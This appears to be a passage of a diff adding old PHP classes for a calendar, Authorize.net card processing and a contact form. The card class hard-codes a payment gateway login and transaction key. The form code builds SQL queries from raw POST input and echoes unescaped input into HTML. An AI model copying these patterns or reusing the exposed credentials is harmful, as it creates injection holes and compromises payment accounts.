+ $this->output_string .= '<TR>';
+ }
+ }
+
+ // fill in the remaining spaces for the end of the month, just to make it look
+ // pretty
+ if ( $offset > 0 )
+ $offset = 7 - $offset;
+ if ( $offset > 0 )
+ $this->output_string .= str_repeat( "<TD WIDTH=\"$width\" HEIGHT=\"$height\" BGCOLOR=\"$TDBS\">$FT1 </FONT></TD>\n", $offset );
+
+ // end the table
+ $this->output_string .= "</TR></TABLE>\n";
+ }
+
+ /**
+ * show_calendar: display the calendar
+ * @param integer $m: month
+ * @param integer $y: year
+ *
+ * @return void
+ * @access public
+ **/
+ function show_calendar($m,$y)
+ {
+ $this->month = $m;
+ $this->year = $y;
+ $this->build_calendar();
+ echo $this->output_string;
+ }
+}
+?>
--- /dev/null
+<?php
+/**
+ * @request block
+ */
+require_once(BASE.'classes/class_toolbox.inc');
+/**
+ * ccauth
+ *
+ * @uses GLM
+ * @uses _TOOLBOX
+ * @package
+ * @version $id$
+ * @copyright 2006 Gaslight Media
+ * @author Steve Sutton <steve@gaslightmedia.com>
+ * @license
+ */
+class ccauth extends GLM_TOOLBOX{
+ /**
+ * host
+ *
+ * @var mixed
+ * @access public
+ */
+ var $host;
+ /**
+ * port
+ *
+ * @var mixed
+ * @access public
+ */
+ var $port;
+ /**
+ * path
+ *
+ * @var mixed
+ * @access public
+ */
+ var $path;
+ /**
+ * loginid
+ *
+ * @var mixed
+ * @access public
+ */
+ var $loginid;
+ /**
+ * txnkey
+ *
+ * @var mixed
+ * @access public
+ */
+ var $txnkey;
+ /**
+ * sequence_file
+ *
+ * @var mixed
+ * @access public
+ */
+ var $sequence_file;
+ /**
+ * test_mode
+ *
+ * @var mixed
+ * @access public
+ */
+ var $test_mode;
+ /**
+ * auth_return
+ *
+ * @var mixed
+ * @access public
+ */
+ var $auth_return;
+ /**
+ * ccauth
+ *
+ * @access public
+ * @return string
+ */
+ function ccauth()
+ {
+ $this->test_mode = "FALSE"; // string TRUE or FALSE
+ $this->host = "secure.authorize.net";
+ $this->port = 443;
+ $this->path = "/gateway/transact.dll";
+ $this->loginid = "gaslight70";
+ $this->txnkey = "6i0fP0zXmEp2mKm0";
+ $this->sequence_file = BASE."temp/sequence.txt";
+ }
+
+ /**
+ * process_card
+ *
+ * @access public
+ * @return string
+ */
+ function process_card( $price )
+ {
+ // open sequence file
+ $fp=fopen($this->sequence_file,"r+");
+ $sequence=fgets($fp,64);
+ $new_seq=($sequence +1);
+ rewind($fp);
+ fputs($fp,$new_seq);
+ fclose($fp);
+ $tstamp = time ();
+ //you will need to setup an array of fields to post with
+ //then create the post string
+ $formdata = array (
+ "x_delim_data" => "TRUE",
+ "x_relay_response" => "FALSE",
+ "x_login" => $this->loginid,
+ "x_tran_key" => $this->txnkey,
+ "x_amount" => $price,
+ "x_card_num" => $_POST['cc_num'],
+ "x_card_code" => $_POST['cc_code'],
+ "x_exp_date" => $_POST['cc_expire'][0].'/'.$_POST['cc_expire'][1],
+ "x_delim_char" => "|",
+ "x_fp_timestamp" => $tstamp,
+ "x_fp_sequence" => $sequence,
+ "x_test_request" => $this->test_mode, // this is set to FALSE to actually work
+ "x_first_name" => $_POST['fname'],
+ "x_last_name" => $_POST['name'],
+ "x_address" => $_POST['address'],
+ "x_city" => $_POST['city'],
+ "x_state" => $_POST['state'],
+ "x_country" => $_POST['country'],
+ "x_zip" => $_POST['zip'],
+ "x_phone" => $_POST['phone'],
+ "x_fax" => $_POST['fax'],
+ "x_cust_id" => $_POST['cust_id'],
+ "x_email" => $_POST['email'],
+ "x_email_customer" => "FALSE",
+ "x_invoice_num" => $_POST['invoice'],
+ "x_description" => $_POST['subject']
+ );
+ //build the post string
+ foreach($formdata AS $key => $val){
+ $poststring .= urlencode($key) . "=" . urlencode($val) . "&";
+ }
+ // strip off trailing ampersand
+ $poststring = substr($poststring, 0, -1);
+ //error_reporting(E_ALL);
+ $headers = "POST $path HTTP/1.1\r\n";
+ $headers .= "Host: $host\r\n";
+ $headers .= "Content-type: application/x-www-form-urlencoded\r\n";
+ $headers .= "Content-length: ".strlen($poststring)."\r\n";
+
+ flush();
+ $command = "/usr/bin/curl -d "
+ .escapeshellarg($poststring)." -P 443 --url "
+ .escapeshellarg("https://".$this->host.$this->path);
+ // echo $command;
+ // echo '<pre>';
+ // print_r( $formdata );
+ // echo '</pre>';
+ // return( false );
+ exec($command,$results,$return);
+ $AuthRet = explode("|",$results[0]);
+ return( $AuthRet );
+ }
+ /**
+ * run_card
+ *
+ * @access public
+ * @return string
+ */
+ function run_card( $price )
+ {
+ $out = NULL;
+ $AuthRet = $this->process_card( $price );
+ if(is_array($AuthRet))
+ {
+ switch($AuthRet[0])
+ {
+ case "1":
+ $AP[0] = true;
+ $out = $AuthRet[3];
+ //echo $AuthRet[3];
+ break;
+ case "2":
+ $AP[0] = false;
+ $out = $AuthRet[3];
+ break;
+ case "3":
+ $AP[0] = false;
+ $out = "There was an error in the process<br>";
+ $out .= $AuthRet[3]."<br>";
+ break;
+ }
+ }
+ echo '<div style="color:red;font-weight:bold;padding-top:20px;">'.$out.'</div>';
+ $this->auth_return = $AuthRet[3];
+ return( $AP[0] );
+ }
+}
+?>
--- /dev/null
+<?php
+/**
+ * Toolbox Classes
+ * <p>
+ * creates a contact form with an updatable fields array.
+ * Don't set values in the var part only declare them. If you set them their they will be like
+ * defines and cannot be changed. Setup in constructor function then there's no problem.
+ * </p>
+ *
+ * @package Toolbox
+ * @subpackage Forms
+ * @tutorial Toolbox/Forms/contact_form.cls
+ * @filesource
+*/
+/**
+* Include DocBlock
+*/
+include_once("class_db.inc");
+/**
+* Include DocBlock
+*/
+include_once("class_toolbox.inc");
+/**
+ * contact_form
+ * <p>
+ * creates a contact form with an updatable fields array.
+ * Don't set values in the var part only declare them. If you set them their they will be like
+ * defines and cannot be changed. Setup in constructor function then there's no problem.
+ * </p>
+ *
+ * @package Toolbox
+ * @subpackage Forms
+ * @version $id$
+ * @copyright 2005 Gaslight Media
+ * @author Steve Sutton <steve@gaslightmedia.com>
+ * @license
+ */
+class contact_form {
+ /**
+ * DB_fields
+ *
+ * array for the needed fields
+ * @var mixed
+ * @access public
+ */
+ var $DB_fields;
+ /**
+ * CDB
+ *
+ * database object
+ * @var mixed
+ * @access public
+ */
+ var $CDB;
+ /**
+ * email
+ * the email address. if blank will not send out
+ *
+ * @var mixed
+ * @access public
+ */
+ var $email;
+ /**
+ * table_name
+ * database table name.
+ *
+ * @var mixed
+ * @access public
+ */
+ var $table_name;
+ /**
+ * styleLabel
+ * css style for the label cell
+ *
+ * @var mixed
+ * @access public
+ */
+ var $styleLabel;
+ /**
+ * fieldcell
+ * css style class for fieldcell
+ *
+ * @var mixed
+ * @access public
+ */
+ var $fieldcell;
+ /**
+ * contact_db
+ * weather or not they have database
+ *
+ * @var mixed
+ * @access public
+ */
+ var $contact_db;
+ /**
+ * instructioncell
+ * style for the instruction cell
+ *
+ * @var mixed
+ * @access public
+ */
+ var $instructioncell;
+ /**
+ * subject
+ * Subject line of the E-mail
+ *
+ * @var mixed
+ * @access public
+ */
+ var $subject;
+ /**
+ * submit_value
+ * value for the submit button on form
+ *
+ * @var mixed
+ * @access public
+ */
+ var $submit_value;
+ /**
+ * not_interested
+ *
+ * @var mixed
+ * @access public
+ */
+ var $not_interested;
+ /**
+ * contact_form
+ *
+ * @access public
+ * @return void
+ */
+ function contact_form()
+ {
+ $this->CDB =& new GLM_DB(); // creates DB object
+ $this->set_DB_fields(); // set up the DB_fields array (configuration)
+ $this->set_int_array(); // interest array
+ $this->email = OWNER_EMAIL; // email address for mail function
+ $this->table_name = 'contact'; // the contact table
+ $this->styleLabel = "labelcell"; // css style for the labelcell
+ $this->fieldcell = "fieldcell"; // css style for the field input
+ $this->instructioncell = "instructioncell"; // css style for the field input
+ $this->submit_value = 'Submit Form';
+ $this->subject = 'Contact Request from website '.SITENAME;
+ $this->contact_db = 1; // if they have contact database or not
+ $this->get_form(); // the whole thing runs upon class creation
+ }
+
+ /**
+ * get_form: one function to rule them all
+ *
+ * @return void
+ * @access public
+ **/
+ function get_form()
+ {
+ if( $_POST )
+ {
+ if( $error = $this->form_process() )
+ {
+ echo '<div id="form-warning-top">Warning: The form was not sent, please review the errors below.</div>';
+ echo $this->display_form( $error );
+ }
+ }
+ else
+ {
+ echo $this->display_form();
+ }
+ }
+
+ /**
+ * set_DB_fields:
+ *
+ * @return void
+ * @access public
+ **/
+ function set_DB_fields()
+ {
+ $Zinst = 'Not a valid ZIP Code';
+ $Einst = 'You need to enter a valid email address';
+ $DB_fields[]=array('name'=>'fname', 'title'=>'First Name:', 'type' => 'text');
+ $DB_fields[]=array('name'=>'lname', 'title'=>'Last Name:', 'type' => 'text');
+ $DB_fields[]=array('name'=>'address', 'title'=>'Address 1:', 'type' => 'text');
+ $DB_fields[]=array('name'=>'address2', 'title'=>'Address 2:', 'type' => 'text');
+ $DB_fields[]=array('name'=>'city', 'title'=>'City:', 'type' => 'text');
+ $DB_fields[]=array('name'=>'state', 'title'=> 'State:', 'type' => 'state');
+ $DB_fields[]=array('name'=>'zip', 'title' => 'ZIP:', 'type' => 'text', 'vtype'=>'zip', 'inst'=>$Zinst);
+ $DB_fields[]=array('name'=>'email', 'title' => 'Email:', 'type' => 'text', 'vtype'=>'email', 'req'=>1, 'inst'=>$Einst);
+ $DB_fields[]=array('name'=>'verify_email','title' => 'Verify Email:','type' => 'text', 'vtype'=>'email', 'req'=>1, 'inst'=>$Einst);
+ $DB_fields[]=array('name'=>'phone', 'title' => 'Phone:', 'type' => 'text', 'vtype'=>'phone');
+ $DB_fields[]=array('name'=>'fax', 'title' => 'Fax:', 'type' => 'text', 'vtype'=>'phone');
+ $DB_fields[]=array('name'=>'comments', 'title' =>'Comments:', 'type' => 'desc');
+ $DB_fields[]=array('name'=>'mail_ok', 'title' => 'You can send me email:','type' => 'radio');
+ $DB_fields[]=array('name'=>'interest', 'title' => 'Interest:','type' => 'interest');
+ $this->DB_fields = &$DB_fields;
+ }
+
+ /**
+ * set_int_array:
+ *
+ * @return void
+ * @access public
+ **/
+ function set_int_array()
+ {
+ $query = "select * from contact_inq order by pos;";
+ if( $data = $this->CDB->db_auto_get_data( $query ) )
+ {
+ foreach( $data as $key => $value )
+ {
+ $int_array[$value['id']] = $value['header'];
+ }
+ $not_interested = 1;
+ }
+ else
+ {
+ $not_interested = 0;
+ $int_array = array();
+ }
+ $this->int_array = $int_array;
+ $this->interested = $not_interested;
+ }
+
+ /**
+ * interest:
+ * @param $field:
+ *
+ * @return void
+ * @access public
+ **/
+ function interest($field)
+ {
+ foreach( $this->int_array as $key => $value )
+ {
+ $out .= '<label for="int'.$key.'"><input type="checkbox" id="int'.$key.'" name="interest[]" value="'.$key.'"';
+ if( strpos( $field, (string)$key ) )
+ {
+ $out .= ' checked';
+ }
+ $out .= '>'.$value.'</label>';
+ }
+ return( $out );
+ }
+
+ /**
+ * display_form: shows the form and any errors in it
+ * @param $error = NULL: error array
+ *
+ * @return string $out
+ * @access public
+ **/
+ function display_form($error=NULL)
+ {
+ if(is_array($_POST))
+ {
+ foreach($_POST as $k=>$v)
+ {
+ if( !is_array( $v ) )
+ {
+ $_POST[$k] = trim(stripslashes($v));
+ }
+ }
+ }
+ $colcount = 1;
+ $out = '
+<script type="text/javascript">
+<!-- Begin
+function popUp(URL) {
+day = new Date();
+id = day.getTime();
+eval("page" + id + " = window.open(URL, \'" + id + "\', \'toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0,width=460,height=520,left = 410,top = 262\');");
+}
+// End -->
+</script>
+ <div id="contact">
+ <form action="'.$_SERVER['REQUEST_URI'].'" method="post" enctype="multipart/form-data">';
+ if( $this->DB_fields[0]['type'] != 'fieldset_start' )
+ {
+ $out .= '
+ <table>';
+ }
+ $num_fields = count($this->DB_fields);
+ $field_counter = 0;
+ foreach($this->DB_fields as $key=>$value)
+ {
+ $field_counter++;
+ $value['inst'] = ( $value['inst'] ) ? $value['inst']:'Empty';
+ $label = $this->styleLabel;
+ $field = $this->fieldcell;
+ $instruction = $this->instructioncell;
+ switch( $value['type'] )
+ {
+ case "state":
+ $out .= '
+ <tr';
+ $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+ $out .= '>';
+ $out .= '<td class="'.$label.'"><label for="'.$value["name"].'">';
+ if($value['req'])
+ {
+ $out .= '<span class="req">*';
+ }
+ $out .= $value['title'];
+ if($value['req'])
+ {
+ $out .= '</span>';
+ }
+ $out .= '</label></td>
+ ';
+ $out .= '<td class="'.$field.'">';
+ $out .= GLM_TOOLBOX::build_picklist($value['name'],$GLOBALS['states_US'],(($_POST['state'])?$_POST['state']:'MI'));
+ if( $error[$value['name']] == 1 )
+ {
+ $out .= '<div class="form-warning-inside">';
+ $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+ $out .= '</div>';
+ }
+ $out .= '</td>';
+ $out .= '</tr>';
+ break;
+
+ case "text":
+ $out .= '
+ <tr';
+ $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+ $out .= '>';
+ $out .= '
+ <td class="'.$label.'"><label for="'.$value["name"].'">';
+ if($value['req'])
+ {
+ $out .= '<span class="req">*';
+ }
+ $out .= $value['title'];
+ if($value['req'])
+ {
+ $out .= '</span>';
+ }
+ $out .= '</label></td>
+ <td class="'.$field.'">
+ <input id="'.$value["name"].'" name="'.$value["name"].'" value="'.$_POST[$value["name"]].'" maxlength="50">';
+ if( $error[$value['name']] )
+ {
+ $out .= '<div class="form-warning-inside">';
+ if( $value['name'] == 'cc_num' && $error[$value['name']] != "1" )
+ {
+ $out .= $error[$value['name']];
+ }
+ else
+ {
+ $out .= $value['inst'];
+ }
+ $out .= '</div>';
+ }
+ $out .= '</td>';
+ $out .= '
+ </tr>';
+ if( $value['extra'] )
+ {
+ $out .= $value['extra'];
+ }
+ break;
+
+ case "fieldset_start":
+ if( $field_counter != 1 )
+ {
+ $out .= '</table>
+ ';
+ }
+ $out .= '<fieldset><legend>'.$value["title"].'</legend>
+ <table>';
+ break;
+
+ case "fieldset_end":
+ $out .= '</table>
+ </fieldset>
+ ';
+ if( $field_counter != $num_fields )
+ {
+ $out .= '<table>';
+ }
+ break;
+
+ case "static":
+ $out .= '<tr><td class="'.$label.'" align="right">'.$value["title"].'</td>
+ <td class="'.$field.'">'.$_POST[$value["name"]].'</td>
+ </tr>';
+ break;
+
+ case "interest":
+ if( !$this->not_interested )
+ {
+ $out .= '<tr';
+ $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+ $out .= '><td class="'.$this->styleLabel.'">'.$value["title"].'</td>
+ <td class="checkbox '.$this->fieldcell.'">'.$this->interest($_POST[$value["name"]]);
+ if( $error[$value['name']] == 1 )
+ {
+ $out .= '<div class="form-warning-inside">';
+ $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+ $out .= '</div>';
+ }
+ $out .= '</td>
+ </tr>';
+ }
+ break;
+
+ case "img":
+ $out .= '
+ <tr>
+ <td colspan="2">
+ To begin uploading your photos, click on the BROWSE button.
+ Choose your image file from the pop up box, and click on Open.
+ All photos submitted to www.pellstonairport.com need
+ to be saved as jpg. (JPEG) format. You may email your photos
+ to us at:<a href="mailto:info@emmetcounty.org">info@emmetcounty.org</a>
+ (Please reference your Member ID# when emailing photos).
+ </td>
+ </tr>';
+ $out .= '<input type="hidden" name="old'.$value["name"].'" value="'.$_POST[$value["name"]].'">';
+ if($_POST[$value['name']] != "")
+ {
+ $out .= '<tr><td class="'.$label.'">Current Image:</td>';
+ $out .= '<td class="'.$field.'"><img src="'.MIDSIZED.$_POST[$value["name"]].'">
+ </td>
+ </tr>
+ <tr>
+ <td class="'.$this->styleClass.'">Delete this image:</td>
+ <td class="'.$field.'">
+ <input type="radio" name="delete'.$value["name"].'" value="1">Yes
+ <input type="radio" name="delete'.$value["name"].'" value="2" CHECKED>No
+ </td>
+ </tr>';
+ }
+ $out .= '<tr><td class="'.$label.'">New '.$value["title"].':</td>';
+ $out .= '<td class="'.$field.'"><input type="file" name="'.$value["name"].'"></td>';
+ $out .= '</tr>';
+ break;
+
+ case "file":
+ $out .= '<tr></tr>';
+ $out .= '<input type="hidden" name="old'.$value["name"].'" value="'.$_POST[$value["name"]].'">';
+ if($_POST[$value['name']] != "")
+ {
+ $out .= '<tr><td class="'.$label.'">Current File:</td>';
+ $out .= '<td class="'.$field.'">'.$_POST[$value["name"]].'
+ </td>
+ </tr>
+ <tr>
+ <td class="'.$label.'">Delete this File:</td>
+ <td class="'.$field.'">
+ <input type="radio" name="delete'.$value["name"].'" value="1">Yes
+ <input type="radio" name="delete'.$value["name"].'" value="2" CHECKED>No
+ </td>
+ </tr>';
+ }
+ $out .= '<tr><td class="'.$label.'">New '.$value["title"].':</td>';
+ $out .= '<td class="'.$field.'"><input type="file" name="'.$value["name"].'"></td>';
+ $out .= '</tr>';
+ break;
+
+ case "desc":
+ $rows='';
+ $cols='';
+ if($value['rows'])
+ {
+ $rows=' rows="'.$value['rows'].'"';
+ }
+ if($value['cols'])
+ {
+ $cols=' cols="'.$value['cols'].'"';
+ }
+
+ $out .= '<tr';
+ $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+ $out .= '><td colspan="2">'.$value[title].'
+ <textarea name="'.$value["name"].'">'.$_POST[$value["name"]].'</textarea>';
+ $out .= '</tr>';
+ break;
+
+ case "hide":
+ $out .= '<input type="hidden" name="'.$value["name"].'" value="'.$value["val"].'">';
+ break;
+
+ case "radio":
+ $out .= '<tr';
+ $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+ $out .= '><td class="'.$this->styleLabel.'">'.$value[title].'</td>';
+ $out .= '<td class="'.$this->fieldcell.' checkbox"><input type="checkbox" name="'.$value["name"].'" value="t"';
+ if( !$value['defaultno'] || $_POST[$value['name']] == 't' )
+ {
+ $out .= ' checked';
+ }
+ $out .= '> Yes';
+ if( $error[$value['name']] == 1 )
+ {
+ $out .= '<div class="form-warning-inside">';
+ $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+ $out .= '</div>';
+ }
+ $out .= '</td>';
+ $out .= '</tr>';
+ break;
+
+ case "multi_check":
+ $out .= '<tr';
+ $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+ $out .= '><td class="'.$this->styleLabel.'" valign="top">'.$value[title].'</td>';
+ $out .= '<td class="'.$this->fieldcell.' checkbox">';
+ if( is_array( $value['drop'] ) )
+ {
+ foreach( $value['drop'] as $dId => $dTitle )
+ {
+ $out .= '<label for="'.$dId.'"><input type="checkbox" id="'.$dId.'" name="'.$dId.'" value="t"';
+ if( $_POST[$dId] == 't' )
+ {
+ $out .= ' checked ';
+ }
+ $out .= '>'.$dTitle.'</label>';
+ }
+ }
+ // currently no error checking for this
+ /*
+ if( $error[$value['name']] == 1 )
+ {
+ $out .= '<div class="form-warning-inside">';
+ $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+ $out .= '</div>';
+ }
+ */
+ $out .= '</td>';
+ $out .= '</tr>';
+ break;
+
+ case "check":
+ $out .= '<tr';
+ $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+ $out .= '><td class="'.$this->styleLabel.'">'.$value[title].'</td>';
+ $out .= '<td class="'.$this->fieldcell.' checkbox" valign="top"><input id="'.$value["name"].'" type="checkbox" name="'.$value["name"].'" value="t"';
+ if( $_POST[$value['name']] == 't' )
+ {
+ $out .= ' checked';
+ }
+ $out .= '> Yes';
+ if( $error[$value['name']] == 1 )
+ {
+ $out .= '<div class="form-warning-inside">';
+ $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+ $out .= '</div>';
+ }
+ $out .= '</td>';
+ $out .= '</tr>';
+ break;
+
+ case "date":
+ $out .= '<tr><td class="'.$label.'">'.$value[title].'</td>';
+ $out .= '<td class="'.$field.'">';
+ $date_entry = GLM_TOOLBOX::date_entry($_POST[$value['name'].'_month'],$_POST[$value['name'].'_day'],$_POST[$value['name'].'_year'],$value['name'].'_month',$value['name'].'_day',$value['name'].'_year');
+ $out .= $date_entry.'';
+ if( $error[$value['name']] == 1 )
+ {
+ $out .= '<div class="form-warning-inside">';
+ $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+ $out .= '</div>';
+ }
+ $out .= '</td></tr>';
+ break;
+
+ case "cc_date":
+ $out .= '<tr';
+ $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+ $out .= '><td class="'.$label.'">';
+ if($value['req'])
+ {
+ $out .= '<span class="req">*';
+ }
+ $out .= $value['title'];
+ if($value['req'])
+ {
+ $out .= '</span>';
+ }
+ $out .= '</td>';
+ $out .= '<td class="'.$field.'">';
+ for( $month = 1; $month <= 12; $month++ )
+ {
+ $month_drop[$month] = date('F',mktime(0,0,0,$month,1,2000));
+ }
+ for( $year = date('Y'); $year <= date('Y')+6; $year++ )
+ {
+ $year_drop[$year] = $year;
+ }
+ $date1_entry = GLM_TOOLBOX::build_picklist($value['name'].'[]',$month_drop,$_POST[$value['name']][0]);
+ $date2_entry = GLM_TOOLBOX::build_picklist($value['name'].'[]',$year_drop,$_POST[$value['name']][1]);
+ $out .= $date1_entry.$date2_entry.'';
+ if( $error[$value['name']] == 1 )
+ {
+ $out .= '<div class="form-warning-inside">';
+ $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+ $out .= '</div>';
+ }
+ elseif( $error[$value['name']] )
+ {
+ $out .= '<div class="form-warning-inside">';
+ $out .= $error[$value['name']];
+ $out .= '</div>';
+ }
+ $out .= '</td></tr>';
+ break;
+
+ case "drop":
+ $out .= '<tr';
+ $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+ $out .= '><td class="'.$label.'">';
+ if($value['req'])
+ {
+ $out .= '<span class="req">*';
+ }
+ $out .= $value['title'];
+ if($value['req'])
+ {
+ $out .= '</span>';
+ }
+ $out .= '</td>';
+ $out .= '<td class="'.$field.'" valign="top">';
+ $date_entry = GLM_TOOLBOX::build_picklist($value['name'],$value['drop'],$_POST[$value['name']]);
+ $out .= $date_entry.'';
+ if( $error[$value['name']] == 1 )
+ {
+ $out .= '<div class="form-warning-inside">';
+ $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+ $out .= '</div>';
+ }
+ $out .= '</td></tr>';
+ break;
+
+ case "cc_types":
+ $out .= '<tr';
+ $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+ $out .= '><td class="'.$label.'" valign="top">'.$value[title].'</td>';
+ $out .= '<td class="'.$field.'">';
+ $cctype = GLM_TOOLBOX::build_checklist( $value['name'],$value['drop'], $_POST[$value['name']] );
+ $out .= $cctype.'';
+ if( $error[$value['name']] == 1 )
+ {
+ $out .= '<div class="form-warning-inside">';
+ $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+ $out .= '</div>';
+ }
+ $out .= '</td></tr>';
+ break;
+ }
+ }
+ $submit_val = ( $this->submit_value != '' ) ? $this->submit_value : 'Send';
+ $out .= '<tr align="center"><td colspan="2"><input type="submit" name="Command" value="'.$submit_val.'"></td></tr>';
+ if( $this->DB_fields[$num_fields]['type'] != 'fieldset_end' )
+ {
+ $out .= '</table>';
+ }
+ $out .= '</form></div>';
+ return( $out );
+ }
+
+ /**
+ * get_db_fields
+ *
+ * @access public
+ * @return void
+ */
+ function get_db_fields()
+ {
+ if( !$this->contact_db )
+ {
+ return( false );
+ }
+ $table = $this->table_name;
+ $query = "select * from $table limit 1 offset 0;";
+ if( $res = $this->CDB->db_exec( $query ) )
+ {
+ for( $i = 0; $i < pg_numfields($res); $i++ )
+ {
+ $fields[] = pg_fieldname( $res, $i );
+ }
+ return( $fields );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+
+ /**
+ * check_valid_fields
+ * validates the fields based on vtype in DB_fields array
+ *
+ * @access public
+ * @return void
+ */
+ function check_valid_fields()
+ {
+ if( is_array( $this->DB_fields ) )
+ {
+ foreach( $this->DB_fields as $key => $val )
+ {
+ switch( $val['vtype'] )
+ {
+ case 'zip':
+ if( !preg_match( "/^(([0-9]{5})([ -+]?([0-9]{4}))?)$/i", $_POST[$val['name']] )
+ && !preg_match( "/^[a-zA-Z]\d[a-zA-Z][ -]?\d[a-zA-Z]\d$/i", $_POST[$val['name']] ) )
+ {
+ if( $val['req'] == 1 )
+ {
+ $error[$val['name']] = 1;
+ }
+ }
+ break;
+
+ case 'email':
+ if( !GLM_TOOLBOX::valid_email( $_POST[$val['name']] ) )
+ {
+ if( $val['req'] == 1 )
+ {
+ $error[$val['name']] = 1;
+ }
+ }
+ break;
+
+ case 'phone':
+ if( $val['req'] == 1 )
+ {
+ $error[$val['name']] = 1;
+ }
+ break;
+
+ default:
+ if( strstr($_POST[$val['name']],"\n") )
+ {
+ if( $val['req'] == 1 && trim($_POST[$val['name']]) == '' )
+ {
+ $error[$val['name']] = 1;
+ }
+ }
+ break;
+ }
+ }
+ }
+ return( $error );
+ }
+
+ /**
+ * form_process: process the form checking for any required form values as set up in the
+ * DB_fields array.
+ *
+ * @return error array if bad
+ * @access public
+ **/
+ function form_process()
+ {
+ $ban_words[] = "content-type";
+ $ban_words[] = "content-transfer-encoding";
+ $ban_words[] = "mime-version";
+ $ban_words[] = "cc\:";
+ $ban_words[] = "bcc\:";
+
+ if( is_array($_POST) ) {
+ foreach( $_POST as $k => $v ){
+ if( $v && !is_array( $v ) ){
+ $temp = trim(stripslashes($v));
+ $temp = str_replace("\n","",$temp);
+ $temp = str_replace('"','',$temp);
+ $_POST[$k] = $temp;
+ foreach($ban_words as $word) {
+ // don't check comment or comments field for a return
+ if( ($k == 'comments' || $k == 'comment') && $word == "\r" ){
+ }else{
+ $wordstr = "/$word/i";
+ if(trim($word) != '' && preg_match($wordstr,$v)) {
+ // set warning message
+ $error[$k] = 1;
+ foreach($this->DB_fields as $dk => $dv){
+ if( $dv['name'] == $k ){
+ $this->DB_fields[$dk]['inst'] = htmlspecialchars($word).' not allowed here!';
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+
+ $in_fields[] = create_date;
+ $in_vars[] = date("m-d-Y");
+ if($this->contact_db)
+ {
+ $data_fields = $this->get_db_fields();
+ }
+ $error = $this->check_valid_fields();
+ if( !$error )
+ {
+ foreach($this->DB_fields as $key=>$value)
+ {
+ if( $value['type'] == 'interest' )
+ {
+ $db_interest_field = $value['name'];
+ }
+ if( $value['name'] == 'email' )
+ {
+ if( !GLM_TOOLBOX::valid_email( $_POST[$value['name']] ) )
+ {
+ $error[$value['name']] = 1;
+ }
+ }
+ if( $value['name'] == 'lname' || $value['name'] == 'fname' )
+ {
+ if( strstr( $_POST[$value['name']], "\n" ) )
+ {
+ $error[$value['name']] = 1;
+ }
+ }
+ if( $value['name'] == 'zip' && $_POST['zip'] != '' )
+ {
+ $query = "select state from zip where zipcode = '".$_POST['zip']."';";
+ $zipDB =& new GLM_DB();
+ $zipDB->host = 'ds4.gaslightmedia.com';
+ $zipDB->dbname = 'zip_v2';
+ $zipDB->user = 'nobody';
+ $zipDB->conn = 0;
+ if( $res = $zipDB->db_auto_get_data( $query ) )
+ {
+ if( count( $res ) == 0 )
+ {
+ if( $value['req'] == 1)
+ {
+ $error[$value['name']] = 1;
+ }
+ }
+ }
+ else
+ {
+ if( $value['req'] == 1)
+ {
+ $error[$value['name']] = 1;
+ }
+ }
+ }
+ if( $value['req'] == 1 && $_POST[$value['name']] == "")
+ {
+ $error[$value['name']] = 1;
+ }
+ if( is_array( $data_fields ) && in_array( $value['name'], $data_fields ) )
+ {
+ if( $value['type'] == "interest" && is_array( $_POST['interest']) )
+ {
+ $in_fields[] = $value['name'];
+ $in_vars[] = ':'.implode(":",$_POST['interest']).':';
+ $_POST['interest'] = ':'.implode(":",$_POST['interest']).':';
+ }
+ elseif( $value['type'] == 'multi_check' )
+ {
+ if( is_array( $value['drop'] ) )
+ {
+ foreach( $value['drop'] as $chKey => $chVal )
+ {
+ $in_fields[] = $chKey;
+ $in_vars[] = ( $_POST[$chKey] == 't' ) ? 't': 'f';
+ }
+ }
+ $in_fields[] = $value['name'];
+ $in_vars[] = ( $_POST[$value['name']] == 't' ) ? 't': 'f';
+ }
+ elseif( $value['type'] == 'radio' )
+ {
+ $in_fields[] = $value['name'];
+ $in_vars[] = ( $_POST[$value['name']] == 't' ) ? 't': 'f';
+ }
+ elseif($value['name'] != "comments" && $value['name'] != 'verify_email' )
+ {
+ $in_fields[] = $value['name'];
+ $in_vars[] = addslashes(trim($_POST[$value['name']]));
+ }
+ }
+ }
+ }
+ if( $_POST['email'] )
+ {
+ if( $_POST['email'] != $_POST['verify_email'] )
+ {
+ $error['verify_email'] = 1;
+ }
+ if( $db_interest_field )
+ {
+ $query = "select id,$db_interest_field from contact where email = '".$_POST['email']."'";
+ }
+ else
+ {
+ $query = "select id from contact where email = '".$_POST['email']."'";
+ }
+ if( $cData = $this->CDB->db_auto_get_data( $query ) )
+ {
+ $update = $cData[0]['id'];
+ }
+ }
+ if(count($error) > 0)
+ {
+ return($error);
+ }
+ if($this->contact_db)
+ {
+ if( $update )
+ {
+ if( is_array( $in_fields ) && is_array( $in_vars ) )
+ {
+ if( $db_interest_field )
+ {
+ $interest_string = ereg_replace("^:|:$","",$_POST['interest']);
+ if( $interest_string )
+ {
+ $interest_array = explode(":",$interest_string);
+ }
+ $f_int_string = ereg_replace("^:|:$","",$cData[0][$db_interest_field]);
+ if( $f_int_string )
+ {
+ $f_int_array = explode(":",$f_int_string);
+ }
+ if( is_array( $f_int_array ) )
+ {
+ $diff_array = array_diff( $interest_array, $f_int_array );
+ }
+ else
+ {
+ $diff_array = $interest_array;
+ }
+ //print_r($_POST);
